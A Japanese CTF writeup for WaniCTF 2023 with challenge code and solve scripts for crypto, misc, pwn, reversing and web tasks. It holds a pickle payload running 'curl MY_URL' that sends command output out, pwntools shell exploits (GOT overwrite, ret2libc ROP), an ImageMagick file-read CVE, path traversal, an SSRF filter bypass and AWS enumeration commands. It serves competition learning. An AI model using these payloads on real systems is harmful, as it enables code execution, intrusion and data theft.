WaniCTF 2023 Writeup

Sat May 06 2023

    5/4-6 で開催していた WaniCTF 2023 にソロで参加しました。結果は 8th/840 (得点のあるチームのみカウント) でした。 WaniCTF は慣れない分野の問題を学びながら解くことができるので参加しました。例年通り勉強になってよかったです。

    全部を書くと大変なので solves < 100 の問題について writeup を書きます。

    Crypto

    DSA?

    36 solves

    chall.py
    from Crypto.Util.number import isPrime
    from hashlib import sha256
    from os import getenv
    from random import randbytes
    import re
    
    q = 139595134938137125662213161156181357366667733392586047467709957620975239424132898952897224429799258317678109670496340581564934129688935033567814222358970953132902736791312678038626149091324686081666262178316573026988062772862825383991902447196467669508878604109723523126621328465807542441829202048500549865003
    p = 2 * q + 1
    g = 2
    assert isPrime(p)
    assert isPrime(q)
    
    FLAG = getenv("FLAG", "FAKE{NOTE:THIS_IS_NOT_THE_FLAG}")
    assert len(FLAG) < 32
    
    
    def keygen(p: int, q: int, g: int):
        x = int(randbytes(48).hex(), 16)
        y = pow(g, x, p)
        return x, y
    
    
    def sign(message: str, x: int):
        k = pow(int.from_bytes(message.encode(), "big"), -1, q)
        r = pow(g, k, p) % q
        h = sha256(message.encode()).hexdigest()
        s = pow(k, -1, q) * (int(h, 16) + x * r) % q
        return h, r, s
    
    
    def verify(message_hash: str, r: int, s: int, y: int):
        message_hash = int(message_hash, 16)
        w = pow(s, -1, q)
        u1 = message_hash * w % q
        u2 = r * w % q
        v = (pow(g, u1, p) * pow(y, u2, p) % p) % q
        return v == r
    
    
    x, y = keygen(p, q, g)
    print(f"p = {p}")
    print(f"q = {q}")
    print(f"g = {g}")
    print(f"y = {y}")
    hash, r, s = sign(FLAG, x)
    assert verify(hash, r, s, y)
    print("FLAG = {}".format(re.sub(r"([\S+])", r"*", FLAG)))
    print(f"sha256(FLAG) = {hash}")
    print(f"r = {r}")
    print(f"s = {s}")

    DSA の問題です。普通の DSA と違うのは kk が乱数ではなくフラグから生成される毎回同じ値を使っていることです。 kk の連続使用をすると秘密鍵が復元できるのは有名な話ですが、今回の問題では接続のたびに秘密鍵が変わるため、その解法は使えません。

    式をいじると s=k1(h+xr)s = k^{-1}(h + xr)h1r(k1x)h1s=k1h^{-1}r (k^{-1}x) - h^{-1}s = -k^{-1} と変形されます。ここで k1k^{-1} は31bytes程度、 k1xk^{-1}x は79bytes程度となり、 qq と比べると十分小さい値となります。これを利用して LLL で k1k^{-1} を復元できることが期待できます。

    solve.py
    from Crypto.Util.number import long_to_bytes
    
    
    p = 279190269876274251324426322312362714733335466785172094935419915241950478848265797905794448859598516635356219340992681163129868259377870067135628444717941906265805473582625356077252298182649372163332524356633146053976125545725650767983804894392935339017757208219447046253242656931615084883658404097001099730007
    q = 139595134938137125662213161156181357366667733392586047467709957620975239424132898952897224429799258317678109670496340581564934129688935033567814222358970953132902736791312678038626149091324686081666262178316573026988062772862825383991902447196467669508878604109723523126621328465807542441829202048500549865003
    g = 2
    y = 191283939490602065334244760795962148682917079388974467146718247430344804212675961464237976758460463313444659350268872371705581070148456318530132803451843433166763641697855329105247326914633773198172036291665390989807095842672577481222722574836463022347070972331511585603162083200093184097357797598894664886194
    h = 0x7aad5b407493e83e9c8a11170733019dfb55dcdb0b7ec677ded13ad9ab16cc82
    r = 61401707010758101526146375076142785590307812475121812316952376486069149360425245868500855973757366554075933599220935059105890347272857469593141580674416812501978293803766670329096383435341545996560650936693344739955943829806575705777357363320849419106573553984283202966428145927420324135463723534658578592614
    s = 4426008923170183411050912423997621301953300943166335574173752428530991573882275123166148651679344717133138199058735390071332777197146351185437582299659545965150556700048292079020380632181968849072599066612623903074020777939765450001791867585208659589870684271942204806727882539332818425480276709949312130016
    
    # r * h^-1 * (k^-1 * x) - s * h^-1 == -k^-1
    # [-k^-1, kx, 1] = [kx, l, 1] * mat
    mat = matrix(ZZ, 3, 3)
    mat[0, 0] = pow(h, -1, q) * r % q
    mat[1, 0] = -q
    mat[2, 0] = -s * pow(h, -1, q) % q
    mat[0, 1] = 1
    mat[2, 2] = 1
    weights = diagonal_matrix([2^384, 1, 2^640])
    mat *= weights
    L = mat.LLL()
    L /= weights
    print(long_to_bytes(int(-L[0][0])))

    FLAG{trivial&baby_dsa_puzzle}

    fusion

    67 solves

    chall.py
    from Crypto.PublicKey import RSA
    
    RSAkeys = RSA.generate(2048)
    p = RSAkeys.p
    q = RSAkeys.q
    n = RSAkeys.n
    e = RSAkeys.e
    m = b"FAKE{<REDACTED>}"
    c = pow(int.from_bytes(m, "big"), e, n)
    
    mask = int("55" * 128, 16)
    r = p & mask
    mask = mask << 1
    r += q & mask
    
    print(f"n = {n}")
    print(f"e = {e}")
    print(f"c = {c}")
    print(f"r = {r}")

    RSA の p,qp, q のヒントとなる rr が与えられています。 mask をビットで表すと 01010101...01010101 となっており、 pp の奇数ビット (最下位ビットを1ビット目として) と qq の偶数ビットが既知ということになります。

    これを使って帰納的に p,qp, q を復元できます。下位 kk ビットが既知のとき、 k+1k + 1 番目のビットは ppqq のどちらかが未知です。この値は pq=nmod2k+1pq = n \mod 2^{k+1} となるように定めることができます。

    solve.py
    from from Crypto.Util.number import long_to_bytes
    
    
    n = 27827431791848080510562137781647062324705519074578573542080709104213290885384138112622589204213039784586739531100900121818773231746353628701496871262808779177634066307811340728596967443136248066021733132197733950698309054408992256119278475934840426097782450035074949407003770020982281271016621089217842433829236239812065860591373247969334485969558679735740571326071758317172261557282013095697983483074361658192130930535327572516432407351968014347094777815311598324897654188279810868213771660240365442631965923595072542164009330360016248531635617943805455233362064406931834698027641363345541747316319322362708173430359
    e = 65537
    c = 887926220667968890879323993322751057453505329282464121192166661668652988472392200833617263356802400786530829198630338132461040854817240045862231163192066406864853778440878582265466417227185832620254137042793856626244988925048088111119004607890025763414508753895225492623193311559922084796417413460281461365304057774060057555727153509262542834065135887011058656162069317322056106544821682305831737729496650051318517028889255487115139500943568231274002663378391765162497239270806776752479703679390618212766047550742574483461059727193901578391568568448774297557525118817107928003001667639915132073895805521242644001132
    r = 163104269992791295067767008325597264071947458742400688173529362951284000168497975807685789656545622164680196654779928766806798485048740155505566331845589263626813345997348999250857394231703013905659296268991584448212774337704919390397516784976219511463415022562211148136000912563325229529692182027300627232945
    
    r_bits = list(map(int, f"{r:01024b}"))[::-1]
    p_bits = [None] * 1024
    q_bits = [None] * 1024
    for i in range(1024):
        if i % 2 == 0:
            p_bits[i] = r_bits[i]
        else:
            q_bits[i] = r_bits[i]
    
    def bits_to_num(bits, n):
        res = 0
        for i in range(n):
            res += 2^i * bits[i]
        return res
    
    
    for i in range(1024):
        if i % 2 == 0:
            a_bits, b_bits = p_bits, q_bits
        else:
            a_bits, b_bits = q_bits, p_bits
        tmp_a = bits_to_num(a_bits, i + 1)
        for j in range(2):
            assert b_bits[i] is None
            b_bits[i] = j
            tmp_b = bits_to_num(b_bits, i + 1)
            if tmp_a * tmp_b % 2^(i+1) == n % 2^(i+1):
                break
            b_bits[i] = None
        assert b_bits is not None
    
    p = bits_to_num(p_bits, 1024)
    q = bits_to_num(q_bits, 1024)
    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)
    print(long_to_bytes(pow(c, d, n)))

    FLAG{sequ4ntia1_prim4_fact0rizati0n}

    Misc

    machine_loading

    31 solves

    chall.py
    import torch
    from flask import Flask, request, render_template
    from io import BytesIO
    import pathlib
    import os
    
    app = Flask(__name__, template_folder="/app/templates")
    
    
    @app.route("/", methods=["GET"])
    def index():
        return render_template("upload.html")
    
    
    @app.route("/upload", methods=["POST"])
    def upload():
        file = request.files["file"]
        if not file:
            return "No file uploaded.", 422
        if file.content_length > 1024 * 1024:  # 1MB
            return "File too large. Max size is 1MB.", 400
    
        suffix = pathlib.Path(file.filename).suffix
        if suffix == ".ckpt":
            try:
                modelload(file)
    
                if os.path.exists("output_dir/output.txt"):
                    with open("output_dir/output.txt", "r") as f:
                        msg = f.read()
                    os.remove("output_dir/output.txt")
    
                return f"File loaded successfully: {msg}"
            except Exception as e:
                return "ERROR: " + str(e), 400
        else:
            return "Invalid file extension. Only .ckpt allowed.", 400
    
    
    def modelload(file):
        with BytesIO(file.read()) as f:
            try:
                torch.load(f)
                return
            except Exception as e:
                raise e
    
    
    if __name__ == "__main__":
        app.run(host="0.0.0.0")

    普段から torch は使っているが、 .cpkt ファイルを知らず…調べてみると pickle 形式ということがわかります。 試しに以下のように curl MY_URL を実行するような pickle コードを用意してアップロードすると、 MY_URL にリクエストが飛んでくることが確認できます。

    code = b"""cos
    system
    (Vcurl MY_URL
    tR.)"""
    with open("/tmp/hoge.ckpt", "wb") as fp:
        fp.write(code)

    あとは ls でファイルを探し、 cat でファイルを読むだけです。ただし curl MY_URL?res=$(ls) のようなことをすると、スペース・改行のせいで ls の最初の結果のみしか送られてこない罠にハマりました。ダブルクオートも埋め込むことができず。代わりに revshell を実行しようとしてもなぜか起動せず (なんで)。仕方がないので ls / | sed -z 's/\n/|/g' のようにしてスペース・改行を | に置き換えることでごり押ししました。結局普通のファイル名だったので初手 cat flag.txt でよかった…

    FLAG{Use_0ther_extens10n_such_as_safetensors}

    int_generator

    37 solves

    chall.py
    import random
    
    k = 36
    maxlength = 16
    
    
    def f(x, cnt):
        cnt += 1
        r = 2**k
        if x == 0 or x == r:
            return -x, cnt
        if x * x % r != 0:
            return -x, cnt
        else:
            return -x * (x - r) // r, cnt
    
    
    def g(x):
        ret = x * 2 + x // 3 * 10 - x // 5 * 10 + x // 7 * 10
        ret = ret - ret % 2 + 1
        return ret, x // 100 % 100
    
    
    def digit(x):
        cnt = 0
        while x > 0:
            cnt += 1
            x //= 10
        return cnt
    
    
    def pad(x, cnt):
        minus = False
        if x < 0:
            minus = True
            x, cnt = g(-x)
        sub = maxlength - digit(x)
        ret = x
        for i in range(sub - digit(cnt)):
            ret *= 10
            if minus:
                ret += pow(x % 10, x % 10 * i, 10)
            else:
                ret += pow(i % 10 - i % 2, i % 10 - i % 2 + 1, 10)
        ret += cnt * 10 ** (maxlength - digit(cnt))
        return ret
    
    
    def int_generator(x):
        ret = -x
        x_, cnt = f(x, 0)
        while x_ > 0:
            ret = x_
            x_, cnt = f(x_, cnt)
        return pad(ret, cnt)
    
    
    num1 = random.randint(0, 2 ** (k - 1))
    num2 = random.randint(0, 2 ** (k - 1))
    num3 = random.randint(0, 2 ** (k - 1))
    
    print("int_generator(num1):{}".format(int_generator(num1)))
    print("int_generator(num2):{}".format(int_generator(num2)))
    print("int_generator(num3):{}".format(int_generator(num3)))

    どういうことをやりたいコードなのかはさっぱりわからず…いろいろ考察すると以下のことがわかります。

    • int_generator(flag1) == int_generator(0) となる (偶然気づいちゃった)
    • int_generator 関数の最後で pad 関数に渡す引数について、 cnt は1か2になる
      • cnt == 2x2182^{18} の倍数のとき、 cnt = 1 はそれ以外のとき
    • cnt == 2 のとき ret は正、 cnt == 1 のとき、 ret は負
    • pad 関数で minus == True のとき、出力の末尾の ii 番目 (10進数表記で) は ximod10x^i \mod 10 となる
    • pad 関数で minus == False のとき、出力の末尾は 884466...884466... となる
    • pad 関数で minus == False のとき、 pad に引き渡された cnt が出力の先頭に現れる

    これらを元に考えると、 2264663430088446226466343008844667728140784008846772814078400884 末尾が 884466...884466... となっているため、 minus == False として生成されたものと考えられます。このとき cnt == 2 になるはずで、入力した値は 2182^{18} の倍数となります。定義域は 0x<2360 \le x < 2^{36} なので、 2182^{18} の倍数は 2182^{18} 個のみです。これらを全探索することで値を求めました。

    solve.py
    target2 = 2264663430088446
    target3 = 6772814078400884
    for i in range(2 ** 18):
        if int_generator(2 ** 18 * i) == target2:
            print(2 ** 18 * i)
    for i in range(2 ** 18):
        if int_generator(2 ** 18 * i) == target3:
            print(2 ** 18 * i)

    FLAG{0_26476544_34359738368}

    range_xor

    40 solves

    まず ai<=500a_i <= 500 の要素については ai=f(ai)a_i = f(a_i) なため、考慮する必要がありません。除外します。

    操作 ff をどの要素にも行わないときの XXX0X_0、最小の XXXminX_{\mathrm{min}}ci=aif(ai)c_i = a_i \oplus f(a_i) とします。すると

    kC+X0=Xmink C + X_0 = X_{\mathrm{min}}

    となる 0, 1 のベクトル kk の種類数を数える問題と考えることができます (計算は F2\mathbb{F}_2 上で行う)。ここで CCcic_i を行ベクトルとした行列です。

    XminX_{\mathrm{min}} の定義から kC=XminX0k C = X_{\mathrm{min}} - X_0 となる kk が存在することは保証されているため、 CC のカーネル空間の次元を nn とすると、 2nmod(109+7)2^n \mod (10^9 + 7) が求める答えです。

    solve.sage
    A = ...
    A = list(filter(lambda x: x > 500, A))
    M = 10
    
    
    def num_to_bits(num):
        bits = []
        for _ in range(M):
            bits.append(num % 2)
            num //= 2
        return bits
    
    
    mat = matrix(GF(2), len(A), M)
    for i in range(len(A)):
        ai = A[i]
        bi = min(ai, 1000 - ai)
        a_bits = num_to_bits(ai)
        b_bits = num_to_bits(bi)
        for j in range(M):
            if a_bits[j] != b_bits[j]:
                mat[i, j] = 1
    n = mat.kernel().matrix().nrows()
    print(pow(2, n, 10**9 + 7))

    FLAG{461905191}

    Guess

    59 solves

    chall.py
    import os
    import random
    
    ANSWER = list(range(10**4))
    random.shuffle(ANSWER)
    CHANCE = 15
    
    
    def peep():
        global CHANCE
        if CHANCE <= 0:
            print("You ran out of CHANCE. Bye!")
            exit(1)
        CHANCE -= 1
    
        index = map(int, input("Index (space-separated)> ").split(" "))
        result = [ANSWER[i] for i in index]
        random.shuffle(result)
    
        return result
    
    
    def guess():
        guess = input("Guess the numbers> ").split(" ")
        guess = list(map(int, guess))
        if guess == ANSWER:
            flag = os.getenv("FLAG", "FAKE{REDACTED}")
            print(flag)
        else:
            print("Incorrect")
    
    
    def main():
        menu = """
        1: peep
        2: guess""".strip()
        while True:
            choice = int(input("> "))
            if choice == 1:
                result = peep()
                print(result)
            elif choice == 2:
                guess()
            else:
                print("Invalid choice")
                break

    この問題では 10000 個整数の順番を当てるのが目標ですが、まずは 2n2^n 個の場合での解法を考えます。1回のクエリで0から 2n12^{n-1} までの整数を送ると、各数が0から 2n12^{n-1} 番目の整数か否かを分類することができます。したがって2分木のようにクエリを飛ばしていくことで全番号の順番が特定可能です (自然言語での説明は難しいのでコードを見ていただければ…)。 実際は 10000 個の整数なので、 214=16384>=100002^{14} = 16384 >= 10000 個の整数を仮定して解こうとすれば上手くいきます。

    solve.py
    from pwn import remote
    from tqdm import tqdm
    
    idx_list_list, e = [[0]], 1
    for _ in range(13):
        for idx_list in idx_list_list:
            idx_list += [2 ** e + idx for idx in idx_list]
        idx_list_list.append(list(range(2 ** e)))
        e += 1
    
    
    N = 10**4 // 2
    io = remote("guess-mis.wanictf.org", 50018)
    res_list = []
    for i in range(14):
        idx_list = list(filter(lambda x: x < 10000, idx_list_list[i]))
        io.sendlineafter(b"> ", b"1")
        io.sendlineafter(b"index> ", " ".join(map(str, idx_list)))
        res = eval(io.recvline().strip().decode())
        res_list.append((set(idx_list), set(res)))
    
    cands = list(range(10**4))
    set_cands = set(cands)
    ans = []
    for i in tqdm(range(10000)):
        s = set_cands.copy()
        for idx_list, res in res_list:
            if i in idx_list:
                s &= res
            else:
                s &= set_cands - res
        if len(s) == 1:
            ans.append(next(iter(s)))
        else:
            ans.append(None)
    
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"list> ", " ".join(map(str, ans)))
    print(io.recvline())

    FLAG{How_did_you_know?_10794fcf171f8b2}

    Pwnable

    08. Time Table

    33 solves

    register_mandatory_classregister_elective_class を見ると、 list のインデックスの範囲が制限されていません。そのため想定外の領域のメモリを時間割に反映させることができそうです。

    gdb でメモリをみてみます。

    pwndbg> x/64gx &mandatory_list
    0x4050c0 <mandatory_list>:	0x0000000000403008	0x0000000200000003
    0x4050d0 <mandatory_list+16>:	0x0000000000403018	0x0000000000403024
    0x4050e0 <mandatory_list+32>:	0x000000000040303c	0x0000000000403048
    0x4050f0 <mandatory_list+48>:	0x0000000000000000	0x0000000000000000
    0x405100 <mandatory_list+64>:	0x0000000000000000	0x0000000000000000
    0x405110 <mandatory_list+80>:	0x0000000000403054	0x0000000000403064
    0x405120 <mandatory_list+96>:	0x0000000400000002	0x0000000000403018
    0x405130 <mandatory_list+112>:	0x0000000000403024	0x0000000000403074
    0x405140 <mandatory_list+128>:	0x0000000000403080	0x0000000000000000
    0x405150 <mandatory_list+144>:	0x0000000000000000	0x0000000000000000
    0x405160 <mandatory_list+160>:	0x0000000000000000	0x000000000040308f
    0x405170 <mandatory_list+176>:	0x00000000004030a0	0x0000000100000001
    0x405180 <mandatory_list+192>:	0x0000000000403018	0x00000000004030af
    0x405190 <mandatory_list+208>:	0x00000000004030c0	0x00000000004030c8
    0x4051a0 <mandatory_list+224>:	0x0000000000000000	0x0000000000000000
    0x4051b0 <mandatory_list+240>:	0x0000000000000000	0x0000000000000000
    0x4051c0 <mandatory_list+256>:	0x00000000004030d7	0x0000000000000000
    0x4051d0:	0x0000000000000000	0x0000000000000000
    0x4051e0 <elective_list>:	0x0000000000403117	0x0000000200000003
    0x4051f0 <elective_list+16>:	0x0000000000000000	0x0000000000000000
    0x405200 <elective_list+32>:	0x0000000000000000	0x0000000000000000
    0x405210 <elective_list+48>:	0x0000000000403125	0x00000000004012d6
    0x405220 <elective_list+64>:	0x0000000000403133	0x0000000400000002
    0x405230 <elective_list+80>:	0x0000000000000000	0x0000000000000000
    0x405240 <elective_list+96>:	0x0000000000000000	0x0000000000000000
    0x405250 <elective_list+112>:	0x000000000040314a	0x0000000000401337
    0x405260 <[email protected]_2.2.5>:	0x00007ffff7f855a0	0x0000000000000000
    0x405270 <[email protected]_2.2.5>:	0x00007ffff7f848c0	0x0000000000000000
    0x405280 <[email protected]_2.2.5>:	0x00007ffff7f854c0	0x0000000000000000
    0x405290:	0x0000000000000000	0x0000000000000000
    0x4052a0 <timetable>:	0x0000000000000000	0x0000000000000000
    0x4052b0 <timetable+16>:	0x0000000000000000	0x0000000000000000
    

    mandatory_list のサイズは 0x58, elective_list のサイズは 0x40 になっています。 mandatory_list[4]elective_list[1] のアドレス開始場所が一緒になることがわかります。これを利用して4番目の mandatory の授業を登録し、メモを書くと、 elective の授業として見たときに先生の名前がメモに書いた値をアドレスとみたときの中身になります。これで任意のアドレスの値を読み取ることができます。

    あとはアドレスのジャンプ先を system とかにする必要がありますが、これは elective_subjectIsAvailable を書き換えることで任意関数の呼び出しが可能です。

    libc のバージョンを特定したあと system を呼んでシェルを叩いてますが、 libc を使う想定だったら配布されてそう (他の問題がそうだったので) で、もっと楽に解く方法があったのかもしれないです。

    solve.py
    from pwn import *
    
    elf = ELF("./pwn-TimeTable/mychall")
    libc = ELF("./pwn-TimeTable/libc6_2.35-0ubuntu1_amd64.so")
    context.binary = elf
    io = remote("timetable-pwn.wanictf.org", 9008)
    
    io.sendlineafter(b"name : ", b"/bin/sh")
    io.sendlineafter(b"id : ", b"10000")
    io.sendlineafter(b"major : ", b"100")
    
    
    def leak_got(name):
        io.sendlineafter(b">", b"1")
        io.sendlineafter(b">", b"4")
    
        io.sendlineafter(b">", b"4")
        io.sendlineafter(b">", b"FRI 3")
        io.sendafter(b"CLASS\n", p64(elf.got[name]))
    
        io.sendlineafter(b">", b"2")
        io.recvuntil(b"Intellect - ")
        addr = u64(io.recvline()[:-1].ljust(8, b"\x00"))
        io.sendlineafter(b">", b"1")
        return addr
    
    # libc leak
    # # c 1
    # addr_puts = leak_got("puts")
    # print(f"{addr_puts = :#x}")
    # # c 4
    # addr_printf = leak_got("printf")
    # print(f"{addr_printf = :#x}")
    # # c 4
    # addr_read = leak_got("read")
    # print(f"{addr_read = :#x}")
    
    addr_puts = leak_got("puts")
    print(f"{addr_puts = :#x}")
    libc.address = addr_puts - libc.symbols["puts"]
    print(f"{libc.address = :#x}")
    
    io.sendlineafter(b">", b"1")
    io.sendlineafter(b">", b"4")
    
    io.sendlineafter(b">", b"4")
    io.sendlineafter(b">", b"FRI 3")
    io.sendafter(b"CLASS\n", p64(elf.got["printf"]) + p64(libc.symbols["system"]))
    
    io.sendlineafter(b">", b"2")
    io.interactive()

    FLAG{Do_n0t_confus3_mandatory_and_el3ctive}

    07. ret2libc

    88 solves

    stack の様子から libc address がわかるので、 ROP をするだけです。

    solve.py
    from pwn import *
    
    elf = ELF("./pwn-ret2libc/chall")
    context.binary = elf
    libc = ELF("./pwn-ret2libc/libc.so.6")
    io = remote("ret2win-pwn.wanictf.org", 9007)
    io.recvuntil(b" +0x28 | ")
    addr_libc_start_main_ret = int(io.recvuntil(b" ").strip().decode(), 16)
    print(f"{addr_libc_start_main_ret = :#x}")
    print(f"{libc.symbols['__libc_start_main'] = :#x}")
    libc.address = addr_libc_start_main_ret - 0x00029d90
    print(f"{libc.address = :#x}")
    
    rop = ROP(libc)
    rop.execve(next(libc.search(b"/bin/sh")), 0, 0)
    payload = b"A" * 0x28
    payload += rop.chain()
    payload += b"A" * 0x18
    
    io.sendlineafter(b") > ", payload)
    io.interactive()

    FLAG{c0n6r475_0n_6r4du471n6_45_4_9wn_b361nn3r!}

    Reversing

    Lua

    69 solves

    各関数、変数の出力を適当に print していたら、 CRYPTEDlIIlIIlI(CRYPTEDlIIllIll, CRYPTEDlIIlIIIl) を呼び出しているときの local d = c["\99\105\112\104\101\114"](c, tmp0(b))print すると Input FLAG : のようなデータ文字とともにフラグが書かれていました。雑でごめん

    FLAG{1ua_0r_py4h0n_wh4t_d0_y0u_3ay_w4en_43ked_wh1ch_0ne_1s_be44er}

    web_assembly

    77 solves

    ghidra で解析しました (plugin が必要だったかも、覚えていない)。 Exports の中に main があるのでそこをエントリーポイントとしてデコンパイル結果をみていきます。明らかにこのあたりが怪しいですね。

      local_4 = 0;
      unnamed_function_14(local_10,0x101a0);  // ①
      unnamed_function_14(local_1c,0x1024c);  // ①
      unnamed_function_14(local_28,&PTR_DAT_ram_00616c46_ram_0001019c);
      unnamed_function_14(local_34,0x101e6);
      unnamed_function_14(local_40,0x1006a);
      unnamed_function_14(local_4c,0x1011d);
      unnamed_function_14(local_58,0x10111);
      unnamed_function_14(local_64,0x100ca);
      unnamed_function_14(local_70,0x10000);
      uVar1 = import::env::prompt_name();  // ②
      unnamed_function_14(local_7c,uVar1);  // ②
      uVar1 = import::env::prompt_pass();  // ②
      unnamed_function_14(local_88,uVar1);  // ②
      uVar1 = unnamed_function_15(0x143c4,s_Your_UserName_:_ram_0001026d);
      uVar1 = unnamed_function_16(uVar1,local_7c);
      unnamed_function_18(uVar1,1);
      uVar1 = unnamed_function_15(0x143c4,s_Your_PassWord_:_ram_0001027e);
      uVar1 = unnamed_function_16(uVar1,local_88);
      unnamed_function_18(uVar1,1);
      uVar2 = unnamed_function_19(local_7c,local_10);  // ③
      if (((uVar2 & 1) == 0) || (uVar2 = unnamed_function_19(local_88,local_1c), (uVar2 & 1) == 0)) {
        uVar1 = unnamed_function_15(0x143c4,s_Incorrect!_ram_0001020a);
        unnamed_function_18(uVar1,1);
      }
      else {
        uVar1 = unnamed_function_15(0x143c4,s_Correct!!_Flag_is_here!!_ram_00010233);
        unnamed_function_18(uVar1,1);
        uVar1 = unnamed_function_16(0x143c4,local_28);
        uVar1 = unnamed_function_16(uVar1,local_34);
        uVar1 = unnamed_function_16(uVar1,local_40);
        uVar1 = unnamed_function_16(uVar1,local_4c);
        uVar1 = unnamed_function_16(uVar1,local_58);
        uVar1 = unnamed_function_16(uVar1,local_64);
        uVar1 = unnamed_function_16(uVar1,local_70);
        unnamed_function_18(uVar1,1);
        local_4 = 0;
      }

    ②のあたりで local_7c が UserName, local_88 が PassWord の入力値になっていそうなことから、 ③あたりの unnamed_function_19 が strcmp 的なことをやっていそうです (中身はみていません)。 この関数に与えている他の引数 local_10local_1c は①のあたりで 0x101a00x1024c の値を使って unnamed_function_14 で計算されていそうです。 0x101a0, 0x1024c の値を見てみると UserName と PassWord が直接書かれていました。

    Flag{Y0u_C4n_3x3cut3_Cpp_0n_Br0us3r!}

    Web

    certified1, certified2

    66 solves, 23 solves

    POST /create でアップロードされた画像を input という名前でコピーし、 overlay.png を ImageMagick で画像の右下に上書きし、それを output.png という名前で保存します。この画像は /view/<uuid> で見ることができます。

    アップロードする画像の filename/flag_A のようにすると、 input/flag_A になります。これで終わりと思いきや、 ImageMagick を実行するときにテキストファイルが input となるためエラーとなってしまいます。それはそうか…

    ImageMagick はたびたび CVE が出ているので、 LFI ができそうなものを探してみました。 CVE-2022-44268 が見つかりましたが、これは 7.1.0-49 のバージョンでの CVE で、問題で使われている ImageMagick は 7.1.0-51 だしな…と思って数時間スルーしていました。でも他に脆弱性も見つからないので開き直って PoC を実行してみたら動いたのでこれでした。 pngcrush/flag_A を LFI すれば certified1 のフラグが手に入ります。

    certified2 のほうは環境変数なので /proc/self/environ を見れば終わりかなと思ったら上手く動かず…しかし冒頭で述べたように filename/proc/self/environ とすれば実ファイルの input ができ、エラーメッセージでディレクトリ格納場所もわかるため、その実ファイルを LFI することでフラグが得られました。

    FLAG{7he_sec0nd_f1a9_1s_w41t1n9_f0r_y0u!}

    FLAG{n0w[email protected]}

    Lambda

    54 solves

    AWS の Access key ID, Secret access key, Region が与えられています。 AWS にはあまり馴染みがないのでいい感じのツールがないか調べて、 pacu というものを見つけました。数時間いろんな機能を使ってみましたが特にめぼしい情報を抜き取ることができず…ほぼ権限ないじゃん

    ググりを続けると今度は https://www.slideshare.net/zaki4649/flawscloud を見つけました。 AWS まわりの問題を扱っている常設 CTF の紹介・解説スライドでした。これの Level6 が今回の問題とかなり似ており、そこに書いてある aws cli コマンドを使っていくことでいろんな情報を抜けました。 叩いたコマンドだけ羅列すると以下の通りです。

    aws iam list-attached-user-policies --user-name SecretUser
    aws iam get-policy --policy-arn arn:aws:iam::839865256996:policy/WaniLambdaGetFunc
    aws iam get-policy-version --policy-arn arn:aws:iam::839865256996:policy/WaniLambdaGetFunc --version-id v1
    aws lambda get-function --function-name wani_function
    

    これの最後のコマンドの出力結果を見ると、 s3 のファイルの URL が書かれていました。ここにアクセスすると dll の入った zip がダウンロードできました。 dll の解析はやりたくないなということで strings -e l * を叩いてみたらフラグが見つかりました。

    解いた問題で一番時間が溶けました…自力では無理だった

    FLAG{l4mabd4_1s_s3rverl3ss_s3rv1c3}

    screenshot

    91 solves

    SSRF の問題で、 /flag.txt のファイルを読めればフラグが手に入ります。以下の部分をいかにバイパスするかが問われています。

          if (!req.query.url.includes("http") || req.query.url.includes("file")) {
            res.status(400).send("Bad Request");
            return;
          }

    内容からも file:// を使う気配が漂っています。いろいろやりようはありそうですが、 ?url=File:///http/../flag.txt のクエリストリングで突破しました。

    FLAG{beware_of_parameter_type_confusion!}